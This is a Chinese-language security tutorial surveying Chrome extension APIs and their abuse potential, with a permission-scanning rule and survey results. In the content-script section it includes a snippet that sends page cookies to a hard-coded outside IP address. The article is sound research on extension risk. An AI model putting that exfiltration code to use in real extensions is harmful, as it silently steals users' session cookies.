從 0 開始入門 Chrome Ext 安全(二)– 安全的 Chrome Ext
- 2019 年 12 月 17 日
- 筆記
作者:LoRexxar'@知道創宇404實驗室 時間:2019年12月5日
在2019年初,微軟正式選擇了Chromium作為默認瀏覽器,並放棄edge的發展。並在19年4月8日,Edge正式放出了基於Chromium開發的Edge Dev瀏覽器,並提供了兼容Chrome Ext的配套插件管理。再加上中國的大小國產瀏覽器大多都是基於Chromium開發的,Chrome的插件體系越來越影響著廣大的人群。
在這種背景下,Chrome Ext的安全問題也應該受到應有的關注,《從0開始入門Chrome Ext安全》就會從最基礎的插件開發開始,逐步研究插件本身的惡意安全問題,惡意網頁如何利用插件漏洞攻擊瀏覽器等各種視角下的安全問題。
從0開始入門Chrome Ext安全(一) — 了解一個Chrome Ext
上篇我們主要聊了關於最基礎插件開發,之後我們就要探討關於Chrome Ext的安全性問題了,這篇文章我們主要圍繞Chrome Ext的api開始,探討在插件層面到底能對瀏覽器進行多少種操作。
1.從一個測試頁面開始
為了探討插件的功能許可權範圍,首先我們設置一個簡單的頁面
<?php setcookie('secret_cookie', 'secret_cookie', time()+3600*24); ?> test pages
接下來我們將圍繞Chrome ext api的功能探討各種可能存在的安全問題以及攻擊層面。
2.Chrome Ext js
content-script
content-script是插件的核心功能程式碼地方,一般來說,主要的js程式碼都會出現在content-script中。
它的引入方式在上一篇文章中提到過,要在manfest.json中設置
"content_scripts": [ { "matches": ["http://*.nytimes.com/*"], "css": ["myStyles.css"], "js": ["contentScript.js"] } ],
https://developer.chrome.com/extensions/content_scripts
而content_script js 主要的特點在於他與頁面同時載入,可以訪問dom,並且也能調用extension、runtime等部分api,但並不多,主要用於和頁面的交互。
content_script js
可以通過設置run_at
來設置相對應腳本載入的時機。
- document_idle 為默認值,一般來說會在頁面dom載入完成之後,window.onload事件觸發之前
- document_start 為css載入之後,構造頁面dom之前
- document_end 則為dom完成之後,圖片等資源載入之前
並且,content_script js
還允許通過設置all_frames
來使得content_script js
作用於頁面內的所有frame
,這個配置默認為關閉,因為這本身是個不安全的配置,這個問題會在後面提到。
在content_script js
中可以直接訪問以下Chrome Ext api:
- i18n
- storage
- runtime:
- connect
- getManifest
- getURL
- id
- onConnect
- onMessage
- sendMessage
在了解完基本的配置後,我們就來看看content_script js
可以對頁面造成什麼樣的安全問題。
安全問題
對於content_script js
來說,首當其中的一個問題就是,插件可以獲取頁面的dom,換言之,插件可以操作頁面內的所有dom,其中就包括非httponly的cookie.
這裡我們簡單把content_script js
中寫入下面的程式碼
console.log(document.cookie); console.log(document.documentElement.outerHTML); var xhr = new XMLHttpRequest(); xhr.open("get", "http://212.129.137.248?a="+document.cookie, false); xhr.send()
然後載入插件之後刷新頁面

可以看到成功獲取到了頁面內dom的資訊,並且如果我們通過xhr跨域傳出消息之後,我們在後台也成功收到了這個請求。

這也就意味著,如果插件作者在插件中惡意修改dom,甚至獲取dom值傳出都可以通過瀏覽器使用者無感的方式進行。
在整個瀏覽器的插件體系內,各個層面都存在著這個問題,其中content_script js
、injected script js
和devtools js
都可以直接訪問操作dom,而popup js和background js都可以通過chrome.tabs.executeScript來動態執行js,同樣可以執行js修改dom。
除了前面的問題以外,事實上content_script js
能訪問到的chrome api非常之少,也涉及不到什麼安全性,這裡暫且不提。
popup/background js
popup js和backround js兩個主要的區別在於載入的時機,由於他們不能訪問dom,所以這兩部分的js在瀏覽器中主要依靠事件驅動。
其中的主要區別是,background js在事件觸發之後會持續執行,而且在關閉所有可見視圖和埠之前不會結束。值得注意的是,頁面打開、點擊拓展按鈕都連接著相應的事件,而不會直接影響插件的載入。
而除此之外,這兩部分js最重要的特性在於,他們可以調用大部分的chrome ext api,在後面我們將一起探索一下各種api。
devtools js
devtools js在插件體系中是一個比較特別的體系,如果我們一般把F12叫做開發者工具的話,那devtools js就是開發者工具的開發者工具。
許可權和域限制大體上和content js 一致,而唯一特別的是他可以操作3個特殊的api:
- chrome.devtools.panels:面板相關;
- chrome.devtools.inspectedWindow:獲取被審查窗口的有關資訊;
- chrome.devtools.network:獲取有關網路請求的資訊;
而這三個api也主要是用於修改F12和獲取資訊的,其他的就不贅述了。
3.Chrome Ext Api
chrome.cookies api需要給與域許可權以及cookies許可權,在manfest.json中這樣定義:
{ "name": "My extension", ... "permissions": [ "cookies", "*://*.google.com" ], ... }
當申請這樣的許可權之後,我們可以通過調用chrome.cookies去獲取google.com域下的所有cookie.
其中一共包含5個方法
- get – chrome.cookies.get(object details, function callback)
獲取符合條件的cookie
- getAll – chrome.cookies.getAll(object details, function callback)
獲取符合條件的所有cookie
- set – chrome.cookies.set(object details, function callback)
設置cookie
- remove – chrome.cookies.remove(object details, function callback) 刪除cookie
- getAllCookieStores – chrome.cookies.getAllCookieStores(function callback) 列出所有儲存的cookie
和一個事件
- chrome.cookies.onChanged.addListener(function callback)
當cookie刪除或者更改導致的事件
當插件擁有cookie許可權時,他們可以讀寫所有瀏覽器存儲的cookie.

chrome.contentSettings
chrome.contentSettings api 用來設置瀏覽器在訪問某個網頁時的基礎設置,其中包括cookie、js、插件等很多在訪問網頁時生效的配置。
在manifest中需要申請contentSettings的許可權
{ "name": "My extension", ... "permissions": [ "contentSettings" ], ... }
在content.Setting的api中,方法主要用於修改設置
- ResourceIdentifier - Scope - ContentSetting - CookiesContentSetting - ImagesContentSetting - JavascriptContentSetting - LocationContentSetting - PluginsContentSetting - PopupsContentSetting - NotificationsContentSetting - FullscreenContentSetting - MouselockContentSetting - MicrophoneContentSetting - CameraContentSetting - PpapiBrokerContentSetting - MultipleAutomaticDownloadsContentSetting
因為沒有涉及到太重要的api,這裡就暫時不提
chrome.desktopCapture
chrome.desktopCapture可以被用來對整個螢幕,瀏覽器或者某個頁面截圖(實時)。
在manifest中需要申請desktopCapture的許可權,並且瀏覽器提供了獲取媒體流的一個方法。
- chooseDesktopMedia – integer chrome.desktopCapture.chooseDesktopMedia(array of DesktopCaptureSourceType sources, tabs.Tab targetTab, function callback)
- cancelChooseDesktopMedia – chrome.desktopCapture.cancelChooseDesktopMedia(integer desktopMediaRequestId)
其中DesktopCaptureSourceType被設置為"screen", "window", "tab", or "audio"的列表。
獲取到相應截圖之後,該方法會將相對應的媒體流id傳給回調函數,這個id可以通過getUserMedia這個api來生成相應的id,這個新創建的streamid只能使用一次並且會在幾秒後過期。
這裡用一個簡單的demo來示範
function gotStream(stream) { console.log("Received local stream"); var video = document.querySelector("video"); video.src = URL.createObjectURL(stream); localstream = stream; stream.onended = function() { console.log("Ended"); }; } chrome.desktopCapture.chooseDesktopMedia( ["screen"], function (id) { navigator.webkitGetUserMedia({ audio: false, video: { mandatory: { chromeMediaSource: "desktop", chromeMediaSourceId: id } } }, gotStream); } });
這裡獲取的是一個實時的影片流

chrome.pageCapture
chrome.pageCapture的大致邏輯和desktopCapture比較像,在manifest需要申請pageCapture的許可權
{ "name": "My extension", ... "permissions": [ "pageCapture" ], ... }
它也只支援saveasMHTML一種方法
- saveAsMHTML – chrome.pageCapture.saveAsMHTML(object details, function callback)
通過調用這個方法可以獲取當前瀏覽器任意tab下的頁面源碼,並保存為blob格式的對象。
唯一的問題在於需要先知道tabid

chrome.tabCapture
chrome.tabCapture和chrome.desktopCapture類似,其主要功能區別在於,tabCapture可以捕獲標籤頁的影片和音頻,比desktopCapture來說要更加針對。
同樣的需要提前聲明tabCapture許可權。
主要方法有
- capture – chrome.tabCapture.capture( CaptureOptions options, function callback)
- getCapturedTabs – chrome.tabCapture.getCapturedTabs(function callback)
- captureOffscreenTab – chrome.tabCapture.captureOffscreenTab(string startUrl, CaptureOptions options, function callback)
- getMediaStreamId – chrome.tabCapture.getMediaStreamId(object options, function callback)
這裡就不細講了,大部分api都是用來捕獲媒體流的,進一步使用就和desktopCapture中提到的使用方法相差不大。
chrome.webRequest
chrome.webRequest主要用戶觀察和分析流量,並且允許在運行過程中攔截、阻止或修改請求。
在manifest中這個api除了需要webRequest以外,還有有相應域的許可權,比如*://*.*:*
,而且要注意的是如果是需要攔截請求還需要webRequestBlocking的許可權
{ "name": "My extension", ... "permissions": [ "webRequest", "*://*.google.com/" ], ... }
https://developer.chrome.com/extensions/webRequest
在具體了解這個api之前,首先我們必須了解一次請求在瀏覽器層面的流程,以及相應的事件觸發。

在瀏覽器插件的世界裡,相應的事件觸發被劃分為多個層級,每個層級逐一執行處理。
由於這個api下的介面太多,這裡拿其中的一個舉例子
chrome.webRequest.onBeforeRequest.addListener( function(details) { return {cancel: details.url.indexOf("://www.baidu.com/") != -1}; }, {urls: ["<all_urls>"]}, ["blocking"]);
當訪問baidu的時候,請求會被block

當設置了redirectUrl時會產生相應的跳轉
chrome.webRequest.onBeforeRequest.addListener( function(details) { if(details.url.indexOf("://www.baidu.com/") != -1){ return {redirectUrl: "https://lorexxar.cn"}; } }, {urls: ["<all_urls>"]}, ["blocking"]);
此時訪問www.baidu.com會跳轉lorexxar.cn
在文檔中提到,通過這些api可以直接修改post提交的內容。
chrome.bookmarks
chrome.bookmarks是用來操作chrome收藏夾欄的api,可以用於獲取、修改、創建收藏夾內容。
在manifest中需要申請bookmarks許可權。
當我們使用這個api時,不但可以獲取所有的收藏列表,還可以靜默修改收藏對應的鏈接。


chrome.downloads
chrome.downloads是用來操作chrome中下載文件相關的api,可以創建下載,繼續、取消、暫停,甚至可以打開下載文件的目錄或打開下載的文件。
這個api在manifest中需要申請downloads許可權,如果想要打開下載的文件,還需要申請downloads.open許可權。
{ "name": "My extension", ... "permissions": [ "downloads", "downloads.open" ], ... }
在這個api下,提供了許多相關的方法
- download ? chrome.downloads.download(object options, function callback)
- search ? chrome.downloads.search(object query, function callback)
- pause ? chrome.downloads.pause(integer downloadId, function callback)
- resume ? chrome.downloads.resume(integer downloadId, function callback)
- cancel ? chrome.downloads.cancel(integer downloadId, function callback)
- getFileIcon ? chrome.downloads.getFileIcon(integer downloadId, object options, function callback)
- open ? chrome.downloads.open(integer downloadId)
- show ? chrome.downloads.show(integer downloadId)
- showDefaultFolder ? chrome.downloads.showDefaultFolder()
- erase ? chrome.downloads.erase(object query, function callback)
- removeFile ? chrome.downloads.removeFile(integer downloadId, function callback)
- acceptDanger ? chrome.downloads.acceptDanger(integer downloadId, function callback)
- setShelfEnabled ? chrome.downloads.setShelfEnabled(boolean enabled)
當我們擁有相應的許可權時,我們可以直接創建新的下載,如果是危險後綴,比如.exe等會彈出一個相應的危險提示。

除了在下載過程中可以暫停、取消等方法,還可以通過show打開文件所在目錄或者open直接打開文件。
但除了需要額外的open許可權以外,還會彈出一次提示框。

相應的其實可以下載file:///C:/Windows/System32/calc.exe
並執行,只不過在下載和執行的時候會有專門的危險提示。
反之來說,如果我們下載的是一個標識為非危險的文件,那麼我們就可以靜默下載並且打開文件。
chrome.history && chrome.sessions
chrome.history 是用來操作歷史紀錄的api,和我們常見的瀏覽器歷史記錄的區別就是,這個api只能獲取這次打開瀏覽器中的歷史紀律,而且要注意的是,只有關閉的網站才會算進歷史記錄中。
這個api在manfiest中要申請history許可權。
{ "name": "My extension", ... "permissions": [ "history" ], ... }
api下的所有方法如下,主要圍繞增刪改查來
- search – chrome.history.search(object query, function callback)
- getVisits – chrome.history.getVisits(object details, function callback)
- addUrl – chrome.history.addUrl(object details, function callback)
- deleteUrl – chrome.history.deleteUrl(object details, function callback)
- deleteRange – chrome.history.deleteRange(object range, function callback)
- deleteAll – chrome.history.deleteAll(function callback)
瀏覽器可以獲取這次打開瀏覽器之後所有的歷史紀錄。

在chrome的api中,有一個api和這個類似-chrome.sessions
這個api是用來操作和回復瀏覽器會話的,同樣需要申請sessions許可權。
- getRecentlyClosed ? chrome.sessions.getRecentlyClosed( Filter filter, function callback)
- getDevices ? chrome.sessions.getDevices( Filter filter, function callback)
- restore ? chrome.sessions.restore(string sessionId, function callback)
通過這個api可以獲取最近關閉的標籤會話,還可以恢復。

chrome.tabs
chrome.tabs是用於操作標籤頁的api,算是所有api中比較重要的一個api,其中有很多特殊的操作,除了可以控制標籤頁以外,也可以在標籤頁內執行js,改變css。
無需聲明任何許可權就可以調用tabs中的大多出api,但是如果需要修改tab的url等屬性,則需要tabs許可權,除此之外,想要在tab中執行js和修改css,還需要activeTab許可權才行。
- get ? chrome.tabs.get(integer tabId, function callback)
- getCurrent ? chrome.tabs.getCurrent(function callback)
- connect ? runtime.Port chrome.tabs.connect(integer tabId, object connectInfo)
- sendRequest ? chrome.tabs.sendRequest(integer tabId, any request, function responseCallback)
- sendMessage ? chrome.tabs.sendMessage(integer tabId, any message, object options, function responseCallback)
- getSelected ? chrome.tabs.getSelected(integer windowId, function callback)
- getAllInWindow ? chrome.tabs.getAllInWindow(integer windowId, function callback)
- create ? chrome.tabs.create(object createProperties, function callback)
- duplicate ? chrome.tabs.duplicate(integer tabId, function callback)
- query ? chrome.tabs.query(object queryInfo, function callback)
- highlight ? chrome.tabs.highlight(object highlightInfo, function callback)
- update ? chrome.tabs.update(integer tabId, object updateProperties, function callback)
- move ? chrome.tabs.move(integer or array of integer tabIds, object – moveProperties, function callback)
- reload ? chrome.tabs.reload(integer tabId, object reloadProperties, function callback)
- remove ? chrome.tabs.remove(integer or array of integer tabIds, function callback)
- detectLanguage ? chrome.tabs.detectLanguage(integer tabId, function callback)
- captureVisibleTab ? chrome.tabs.captureVisibleTab(integer windowId, object options, function callback)
- executeScript ? chrome.tabs.executeScript(integer tabId, object details, function callback)
- insertCSS ? chrome.tabs.insertCSS(integer tabId, object details, function callback)
- setZoom ? chrome.tabs.setZoom(integer tabId, double zoomFactor, function callback)
- getZoom ? chrome.tabs.getZoom(integer tabId, function callback)
- setZoomSettings ? chrome.tabs.setZoomSettings(integer tabId, ZoomSettings zoomSettings, function callback)
- getZoomSettings ? chrome.tabs.getZoomSettings(integer tabId, function callback)
- discard ? chrome.tabs.discard(integer tabId, function callback)
- goForward ? chrome.tabs.goForward(integer tabId, function callback)
- goBack ? chrome.tabs.goBack(integer tabId, function callback)
一個比較簡單的例子,如果獲取到tab,我們可以通過update靜默跳轉tab。

同樣的,除了可以控制任意tab的鏈接以外,我們還可以新建、移動、複製,高亮標籤頁。
當我們擁有activeTab許可權時,我們還可以使用captureVisibleTab來截取當前頁面,並轉化為data數據流。

同樣我們可以用executeScript來執行js程式碼,這也是popup和當前頁面一般溝通的主要方式。

這裡我主要整理了一些和敏感資訊相關的API,對於插件的安全問題討論也將主要圍繞這些API來討論。
4.Chrome 插件許可權體系
在了解基本的API之後,我們必須了解一下chrome 插件的許可權體系,在跟著閱讀前面相關api的部分之後,不難發現,chrome其實對自身的插件體系又非常嚴格的分割,但也許正是因為這樣,對於插件開發者來說,可能需要申請太多的許可權用於插件。
所以為了省事,chrome還給出了第二種許可權聲明方式,就是基於域的許可權體系。
在許可權申請中,可以申請諸如:
"http://*/*",
"https://*/*"
"*://*/*",
"http://*/",
"https://*/",
這樣針對具體域的許可權申請方式,還支援<all_urls>
直接替代所有。
在後來的許可權體系中,Chrome新增了activeTab
來替代<all_urls>
,在聲明了activeTab
之後,瀏覽器會賦予插件操作當前活躍選項卡的操作許可權,且不會聲明具體的許可權要求。
- 當沒有activeTab

- 當申請activeTab後

當activeTab許可權被聲明之後,無需任何其他許可權就可以執行以下操作:
- 調用tabs.executeScript 和 tabs.insertCSS
- 通過tabs.Tab對象獲取頁面的各種資訊
- 獲取webRequest需要的域許可權
換言之,當插件申請到activeTab許可權時,哪怕獲取不到瀏覽器資訊,也能任意操作瀏覽的標籤頁。
更何況,對於大多數插件使用者,他們根本不關心插件申請了什麼許可權,所以插件開發者即便申請需要許可權也不會影響使用,在這種理念下,安全問題就誕生了。

5.真實世界中的數據
經過粗略統計,現在公開在chrome商店的chrome ext超過40000,還不包括私下傳播的瀏覽器插件。
為了能夠盡量真實的反映真實世界中的影響,這裡我們隨機選取1200個chrome插件,並從這部分的插件中獲取一些結果。值得注意的是,下面提到的許可權並不一定代表插件不安全,只是當插件獲取這樣的許可權時,它就有能力完成不安 全的操作。
這裡我們使用Cobra-W新增的Chrome ext掃描功能對我們選取的1200個目標進行掃描分析。
https://github.com/LoRexxar/Cobra-W
python3 cobra.py -t '..chrome_target' -r 4104 -lan chromeext -d
6.<all-url>
當插件獲取到<all-url>
或者*://*/*
等類似的許可權之後,插件可以操作所有打開的標籤頁,可以靜默執行任意js、css程式碼。
我們可以用以下規則來掃描:
class CVI_4104: """ rule for chrome crx """ def __init__(self): self.svid = 4104 self.language = "chromeext" self.author = "LoRexxar" self.vulnerability = "Manifest.json permissions 要求許可權過大" self.description = "Manifest.json permissions 要求許可權過大" # status self.status = True # 部分配置 self.match_mode = "special-crx-keyword-match" self.keyword = "permissions" self.match = [ "http://*/*", "https://*/*", "*://*/*", "<all_urls>", "http://*/", "https://*/", "activeTab", ] self.match = list(map(re.escape, self.match)) self.unmatch = [] self.vul_function = None def main(self, regex_string): """ regex string input :regex_string: regex match string :return: """ pass
在我們隨機挑選的1200個插件中,共585個插件申請了相關的許可權。

其中大部分插件都申請了相對範圍較廣的覆蓋範圍。
其他
然後我們主要掃描部分在前面提到過的敏感api許可權,涉及到相關的許可權的插件數量如下:

7.後 記
在翻閱了chrome相關的文檔之後,我們不難發現,作為瀏覽器中相對獨立的一層,插件可以輕鬆的操作相對下層的會話層,同時也可以在獲取一定的許可權之後,讀取一些更上層例如作業系統的資訊…
而且最麻煩的是,現代在使用瀏覽器的同時,很少會在意瀏覽器插件的安全性,而事實上,chrome商店也只能在一定程度上檢測插件的安全性,但是卻沒辦法完全驗證,換言之,如果你安裝了一個惡意插件,也沒有任何人能為你的瀏覽器負責…安全問題也就真實的影響著各個瀏覽器的使用者。
References
[1]
https://developer.chrome.com/extensions/devguide